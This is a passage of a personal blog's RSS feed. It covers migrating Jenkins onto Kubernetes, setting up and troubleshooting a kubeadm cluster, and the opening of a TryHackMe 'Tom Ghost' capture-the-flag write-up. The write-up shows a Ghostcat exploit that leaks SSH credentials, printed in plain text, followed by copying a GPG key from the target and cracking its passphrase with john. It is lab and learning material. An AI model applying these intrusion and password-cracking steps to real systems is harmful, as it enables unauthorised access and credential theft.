&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat &lt;span style="color:#e6db74"&gt;&amp;lt;&amp;lt;EOF | kubectl apply -f -
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;apiVersion: v1
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;kind: Pod
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;metadata:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; name: dummy-pod
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; namespace: jenkins
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;spec:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; containers:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; - name: dummy-container
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; image: ubuntu:latest
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; command: [&amp;#34;sleep&amp;#34;, &amp;#34;infinity&amp;#34;]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; volumeMounts:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; - mountPath: /var/jenkins_home
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; name: jenkins-storage
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; volumes:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; - name: jenkins-storage
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; persistentVolumeClaim:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; claimName: jenkins-pvc
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;EOF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# lets wait here till the pod comes up&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;kubectl wait --for&lt;span style="color:#f92672"&gt;=&lt;/span&gt;condition&lt;span style="color:#f92672"&gt;=&lt;/span&gt;Ready pod/dummy-pod --timeout&lt;span style="color:#f92672"&gt;=&lt;/span&gt;60s -n jenkins
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Copy the tar.gz file into the &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;kubectl cp k8s/jenkins.tar.gz dummy-pod:/var/jenkins_home/jenkins.tar.gz
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;kubectl exec -it dummy-pod -n jenkins -- bash
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Inside container&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd /var/jenkins_home
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;tar -xvzf jenkins.tar.gz
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mv jenkins/* .; rm -rf jenkins jenkins.tar.gz
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;chown -R 1000:1000 /var/jenkins_home
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Lets get out of the container, and delete it.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;kubectl delete pod/dummy-pod -n jenkins
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Now its time to Deploy jenkins in cluster. And with the jenkins helm chart, we can specify the PVC to use.&lt;/li&gt;
&lt;li&gt;By default, the jenkins helm charts wants to create a brand new, empty Persistant Volume. We need to tell the chart, &amp;ldquo;No thanks, I already brought my own data&amp;rdquo;.&lt;/li&gt;
&lt;li&gt;Lets create custom values file for jenkins helm chart&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# jenkins-values.yaml&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;controller&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Expose the Jenkins UI vi NodePort&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;serviceType&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;NodePort&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;nodePort&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;32001&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;persistence&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;enabled&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;existingClaim&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;jenkins-pvc&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Now lets install jenkins with the custom values file&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;helm repo add jenkins https://charts.jenkins.io
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;helm repo update
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;helm install jenkins jenkins/jenkins -f jenkins-values.yaml -n jenkins --create-namespace
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# watch it boot up&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;kubectl get pods -n jenkins -w
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Once the pod is ready, lets get the admin password&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;kubectl get secret jenkins -n jenkins -o jsonpath&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;{.data.jenkins-admin-password}&amp;#34;&lt;/span&gt; | base64 --decode
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Now lets access jenkins UI&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Get the node port&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;kubectl get svc jenkins -n jenkins
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Open your browser and navigate to &lt;code&gt;http://&amp;lt;control-node-ip&amp;gt;:32001&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Login with the admin password you got above&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Kubernetes</title><link>https://silent-resistor.github.io/resources/devsecops/kubernetes/</link><pubDate>Tue, 20 Jan 2026 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/resources/devsecops/kubernetes/</guid><description>&lt;h2 id="1-vannilla-vs-custom-kubernetes"&gt;1. Vannilla vs Custom kubernetes&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Vannilla (via kubeadm), its a official, standard way to boot strap a cluster and gives you the trust, most unopinoted kubernetes experiance.&lt;/li&gt;
&lt;li&gt;Lightweight/Custom (like k3s, MicroK8s, etc.): These are fantastic, simplified distributions that bundle everything together - including networking addons etc.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Important&lt;/strong&gt;: Vannilla Kubernetes adopts decentralized approach, where components are loosly coupled.&lt;/li&gt;
&lt;li&gt;For example, Its supports multiple network plugins such as Calico, Cilium, Flannel, etc. Each has different requirements for IP addressing, routing, and networking architecture. So, instead of automatically assigning the range of ip addresses for pods by default, adminstrator has to specify it manually at the time of initialization &lt;code&gt;kubeadm init --pod-network-cidr=10.244.0.0/16&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="2-reference-repository"&gt;2. Reference Repository: &lt;a href="https://github.com/silent-resistor/cka/"&gt;https://github.com/silent-resistor/cka/&lt;/a&gt;&lt;/h2&gt;
&lt;h2 id="3-installation-procedure"&gt;3. Installation procedure&lt;/h2&gt;
&lt;h3 id="31-prerequisites-and-container-runtime"&gt;3.1 Prerequisites and container runtime&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;before installing kubernetes, your all nodes need a base software to actually run the containers like &lt;code&gt;containerd&lt;/code&gt; or &lt;code&gt;CRI-O&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://kubernetes.io/docs/setup/production-environment/container-runtimes/"&gt;Container Runtimes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;or &lt;a href="https://cri-o.io/"&gt;CRI-O&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;do it with sander&amp;rsquo;s scripts &lt;a href="https://github.com/silent-resistor/cka/blob/master/setup-container.sh"&gt;here&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="32-installing-core-tools"&gt;3.2 Installing core tools&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;kubeadm, kubelet, kubectl in all of the nodes&lt;/li&gt;
&lt;li&gt;do it with sander&amp;rsquo;s scripts &lt;a href="https://github.com/silent-resistor/cka/blob/master/setup-kubetools.sh"&gt;here&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;or manually with &lt;a href="https://kubernetes.io/docs/setup/production-environment/tools/kubeadm/install-kubeadm/"&gt;official docs&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="33-initializing-the-cluster"&gt;3.3 Initializing the cluster&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;on the control plane node, run &lt;code&gt;kubeadm init&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;do it with sander&amp;rsquo;s scripts &lt;a href="https://github.com/silent-resistor/cka/blob/master/setup-kubeadm-init.sh"&gt;here&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;or manually with &lt;a href="https://kubernetes.io/docs/setup/production-environment/tools/kubeadm/create-cluster-kubeadm/"&gt;official docs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;/li&gt;
&lt;li&gt;you can also pass some flags to kubeadm init to customize the cluster
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--pod-network-cidr&lt;/code&gt; to specify the CIDR for the pod network&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--service-cidr&lt;/code&gt; to specify the CIDR for the service network&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--apiserver-advertise-address&lt;/code&gt; to specify the IP address to advertise the API server&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;In case initialization fails, you can reset with the following commands and try again
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;kubeadm reset -f
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo rm -rf /etc/cni/net.d
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo rm -rf $HOME/.kube/config
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;kubeadm init
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;If it&amp;rsquo;s still failing or getting stuck, always run with verbose to see what&amp;rsquo;s happening &lt;code&gt;kubeadm init --v=5&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Most of the time, it fails at creating and configuring the kubelet service, so always inspect the kubelet service status
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;systemctl status kubelet
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo journalctl -u kubelet --no-pager -n &lt;span style="color:#ae81ff"&gt;100&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;Once kubeadm init is done, it prints a few commands to run on the control plane node to set up kubectl with administrative access
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mkdir -p $HOME/.kube
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo chown &lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;id -u&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt;:&lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;id -g&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt; $HOME/.kube/config
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="34-installing-the-network-plugin"&gt;3.4 Installing the network plugin&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;install a network plugin like Calico, Cilium, etc.&lt;/li&gt;
&lt;li&gt;do it with sander&amp;rsquo;s scripts &lt;a href="https://github.com/sandervanvugt/setup-network-plugin.sh"&gt;here&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;or manually with &lt;a href="https://kubernetes.io/docs/concepts/cluster-administration/addons/"&gt;official docs&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="35-joining-worker-nodes-and-control-plane-nodes"&gt;3.5 Joining worker nodes and control plane nodes&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;If you wanted to get the join command for worker nodes, run &lt;code&gt;kubeadm token create --print-join-command&lt;/code&gt; on the control plane node&lt;/li&gt;
&lt;li&gt;If you wanted to get the join command for control plane nodes, run &lt;code&gt;kubeadm token create --print-join-command --control-plane&lt;/code&gt; on the control plane node&lt;/li&gt;
&lt;li&gt;or manually with &lt;a href="https://kubernetes.io/docs/setup/production-environment/tools/kubeadm/join-control-plane-node/"&gt;official docs&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="4-problems-faced-the-real-kubernetes-experience"&gt;4. Problems faced: (The Real Kubernetes Experience)&lt;/h2&gt;
&lt;h3 id="41-while-intializing-the-cluster-with-kubeadm-init-its-getting-stuck-at-control-plane-check-checking-kube-shedular-at-http12700110259livez-for-very-long-time"&gt;4.1 While intializing the cluster with &lt;code&gt;kubeadm init&lt;/code&gt;, its getting stuck at &lt;code&gt;[control-plane-check] checking-kube-shedular at http://127.0.0.1:10259/livez&lt;/code&gt; for very long time..&lt;/h3&gt;
&lt;h4 id="411-inspection1-the-container-detective-work"&gt;4.1.1 Inspection1: The Container Detective Work&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;systemctl status containerd&lt;/code&gt; is &lt;code&gt;active (running)&lt;/code&gt; but doing nothing useful.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;crictl --runtime-endpoint unix:///var/run/containerd/containerd.sock ps&lt;/code&gt; shows no containers&lt;/li&gt;
&lt;li&gt;I restarted containerd after configuring the runtime endpoint with &lt;code&gt;sudo crictl config --set runtime-endpoint=unix:///var/run/containerd/containerd.sock&lt;/code&gt;, but it didn&amp;rsquo;t help (of course it didn&amp;rsquo;t)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;crictl --runtime-endpoint unix:///var/run/containerd/containerd.sock logs&lt;/code&gt; showing few failed container with the error as &lt;code&gt;rpc error: code = NotFound desc =an error occured when try to find the container&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;A controlplane component may have crashed or exited when started by the container runtime. To troubleshoot, list all containers using preferred container runtime cli.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;crictl --runtime-endpoint unix:///var/run/containerd/containerd.sock ps -a | grep kube | grep -v pause&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;once found the failed container in here, inspect the logs of that container to understand the issue&lt;/li&gt;
&lt;li&gt;&lt;code&gt;crictl --runtime-endpoint unix:///var/run/containerd/containerd.sock logs &amp;lt;container-id&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="412-inspection2-the-cgroup-mystery"&gt;4.1.2 Inspection2: The cgroup Mystery&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;you may find that the kubelet does not know which systemd cgroup to use, please see the config at &lt;code&gt;/etc/containerd/config.toml&lt;/code&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-toml" data-lang="toml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# sudo containerd config default | sudo tee /etc/containerd/config.toml&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# not sure, lets compare this with below&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;version&lt;/span&gt; = &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#a6e22e"&gt;plugins&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#a6e22e"&gt;plugins&lt;/span&gt;.&lt;span style="color:#e6db74"&gt;&amp;#34;io.containerd.grpc.v1.cri&amp;#34;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#a6e22e"&gt;plugins&lt;/span&gt;.&lt;span style="color:#e6db74"&gt;&amp;#34;io.containerd.grpc.v1.cri&amp;#34;&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;containerd&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;discard_unpacked_layers&lt;/span&gt; = &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#a6e22e"&gt;plugins&lt;/span&gt;.&lt;span style="color:#e6db74"&gt;&amp;#34;io.containerd.grpc.v1.cri&amp;#34;&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;containerd&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;runtimes&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#a6e22e"&gt;plugins&lt;/span&gt;.&lt;span style="color:#e6db74"&gt;&amp;#34;io.containerd.grpc.v1.cri&amp;#34;&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;containerd&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;runtimes&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;runc&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;runtime_type&lt;/span&gt; = &lt;span style="color:#e6db74"&gt;&amp;#34;io.containerd.runc.v2&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#a6e22e"&gt;plugins&lt;/span&gt;.&lt;span style="color:#e6db74"&gt;&amp;#34;io.containerd.grpc.v1.cri&amp;#34;&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;containerd&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;runtimes&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;runc&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;options&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;SystemdCgroup&lt;/span&gt; = &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;In kubernetes,&lt;code&gt;kubeadm&lt;/code&gt; doesnt run the containers directly, it creates configuration files (static pod manifests) for the containers and waits for &lt;code&gt;kubelet&lt;/code&gt; to read them and tell &lt;code&gt;containerd&lt;/code&gt; to start the pods. If its hanging, &lt;code&gt;kubelet&lt;/code&gt; is likely failing.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;4.1.2.1. &lt;strong&gt;Case: The RPC Nightmare&lt;/strong&gt;&lt;/p&gt;</description></item><item><title>Tom Ghost - TOMCAT - Tryhackme</title><link>https://silent-resistor.github.io/posts/tomghost/</link><pubDate>Fri, 31 Jan 2025 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/posts/tomghost/</guid><description>&lt;ul&gt;
&lt;li&gt;Thought it was difficut just by looking at the vulnerabities after nmap scan &lt;code&gt;tomghost.nmap&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;A perfectly deployed tomcat at 8080 (spent alot of time on this), and a silently hiding ghost (same tomcat) listening at 8009 for ajp packets.&lt;/li&gt;
&lt;li&gt;A quick scan on &lt;code&gt;searchexploit&lt;/code&gt; and &lt;code&gt;msfconsole&lt;/code&gt; for ajp or ghostcat quckly revelead a very good exploit. which eventually reveals ssh password for the &lt;code&gt;skyfuck&lt;/code&gt; user.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;## msfconsole: exploit:auxiliary/admin/http/tomcat_ghostcat,
 &amp;lt;web-app xmlns=&amp;#34;http://xmlns.jcp.org/xml/ns/javaee&amp;#34;
 xmlns:xsi=&amp;#34;http://www.w3.org/2001/XMLSchema-instance&amp;#34;
 xsi:schemaLocation=&amp;#34;http://xmlns.jcp.org/xml/ns/javaee
 http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd&amp;#34;
 version=&amp;#34;4.0&amp;#34;
 metadata-complete=&amp;#34;true&amp;#34;&amp;gt;

 &amp;lt;display-name&amp;gt;Welcome to Tomcat&amp;lt;/display-name&amp;gt;
 &amp;lt;description&amp;gt;
 Welcome to GhostCat
 skyfuck:8730281lkjlkjdqlksalks
 &amp;lt;/description&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;Now im inside the &lt;code&gt;skyfuck&lt;/code&gt; user. What i can see is a &lt;code&gt;crendentials.gpg&lt;/code&gt; file encrypted with the encryption key &lt;code&gt;tryhackme.asc&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;i have tried by decrypting with &lt;code&gt;gpg&lt;/code&gt;, its again asking for the passphrase for encryption key which i do not have.&lt;/li&gt;
&lt;li&gt;So, thought of brutforcing the passphrase for the encryption key. Lets get into the Kali&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;scp skyfuck@10.49.159.228:tryhackme.asc ./
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/usr/sbin/gpg2hash tryhackme.asc &amp;gt; hash
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;john --format&lt;span style="color:#f92672"&gt;=&lt;/span&gt;gpg --wordlist&lt;span style="color:#f92672"&gt;=&lt;/span&gt;/usr/share/wordlist/rockyou.txt hash
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Using default input encoding: UTF-8&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Cost 1 (s2k-count) is 65536 for all loaded hashes&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes&lt;/span&gt;
